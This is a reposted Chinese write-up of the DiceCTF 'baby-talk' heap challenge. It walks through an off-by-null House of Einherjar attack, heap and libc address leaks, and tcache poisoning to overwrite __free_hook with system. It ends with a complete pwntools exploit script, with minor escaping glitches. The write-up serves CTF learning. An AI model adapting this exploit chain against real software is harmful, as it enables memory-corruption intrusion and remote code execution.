dicectf baby-talk分析

admin 2024年2月22日22:09:03评论7 views字数 2233阅读7分26秒阅读模式

本题的考点就是House of Einherjar

dicectf baby-talk分析

House of Einherjar 的流程如下图所示

dicectf baby-talk分析

dicectf baby-talk分析

要注意一下tok的功能,它既能实现off by null ,还能实现show的功能

dicectf baby-talk分析

其对应的就是c的strtok函数

dicectf baby-talk分析

另外的功能就是str能够malloc,del能够free

搞清楚了漏洞点,接下来就是写POC了,由于在利用过程中需要用到堆上的地址和libc上的地址,所以先需要泄露出libc和heap的地址。调试发现程序中chunk在free后不会清除,同时malloc时也不会置零,所以可以通过tok来进行地址泄露

其中heap通过tcache chunk来泄露,libc通过unsorted chunk来泄露

dicectf baby-talk分析

接下来为了构造House of Einherjar,我们要先想好chunk的构造方式,最终的目的当然是修改tcache的fd指针从而伪造fake tcache chunk来修改__free_hook从而实现getshell

chunk的布局大致应该为这样,唯一要注意的点是prev_size的设置和off by null无法在一次createstr的情况下设置,所以可以先进行off by null之后再free一次,之后再malloc一次从而设置prev_size

dicectf baby-talk分析

此外就是为了发生unsorted bin的unlink操作,需要先把对应大小的tcache链表填满,否则chunk直接进入tcache中就没有我们期望的unlink操作了。

dicectf baby-talk分析

转换为代码就是这样

dicectf baby-talk分析    

调试发现成功unlink

dicectf baby-talk分析

dicectf baby-talk分析

我们再把这个tcache chunk malloc出来就可以更改tcache bin chunk的fd指针了

dicectf baby-talk分析

之后调用free即可执行

dicectf baby-talk分析

dicectf baby-talk分析    

dicectf baby-talk分析

完整POC如下

from pwn import *

context(log_level="debug")

io = process("./chall")

#io = remote("20.55.48.101", 1339)

#libc = ELF("./libc-2.31.so")

def debug():

gdb.attach(io)

pause()

sla = lambda delim, data: io.sendlineafter(delim, data)

createstr = lambda size, sstr: (sla(">", "1"), sla("size?", size), sla("str?", sstr))

tokstr = lambda strid, delim: (sla(">", "2"), sla("idx?",strid), sla("delim?", delim))        

delstr = lambda strid: (sla(">", "3"), sla("idx?", strid))

# leak heap

createstr("30", "a")

createstr("30", "b")

delstr("0")

delstr("1")

createstr("30", "")

tokstr("0", "a")

io.recv(1)

heap = u64(io.recv(6).ljust(8, b"x00")) & (0xfffffffffffff000)

log.info(f"HEAP ADDR : {hex(heap)}")

# leak libc        

createstr("4096", "d") #1

createstr("30", "e")#2

createstr("30", "f")#3

delstr("1")

createstr("4096", "g"*8)#1

tokstr("1", "a")

io.recv(1)

io.recv(8)

libc = u64(io.recv(6).ljust(8, b"x00")) - 0x3ebc0a

free_hook = libc + 0x3ed8e8

system_addr = libc + 0x04f420

log.info(f"LIBC ADDR : {hex(libc)}")

# House of Einherjar

## off by null

createstr("30", "i")#4

createstr("24", p64(heap + 0x1320) * 2 + p64(0x20))#5

createstr("40", b"B" * 40)#6

createstr("248", "i")#7

tokstr("6", "x01")

delstr("6")

createstr("40", b"B" * 32 + p64(0x50))#6

createstr("20", "j")

## fill up tcache for unsorted bin unlink

for i in range(7):

createstr("248","h")# 4 - 10

for i in range(7, 0, -1):

delstr(str(8+ i))

## fake tcachebin chunk in __free_hook        

delstr("4")

delstr("6")

delstr("7")

createstr("328", b"A" * 24 + p64(0x31) + p64(free_hook))#4

createstr("28", "")#6

createstr("28", p64(system_addr))#7

## trigger

createstr("20", "/bin/shx00")#9

delstr("9")

io.interactive()

参考

https://www.anquanke.com/post/id/251596

原文始发于微信公众号(3072):dicectf baby-talk分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月22日22:09:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   dicectf baby-talk分析https://cn-sec.com/archives/2514030.html

发表评论

匿名网友 填写信息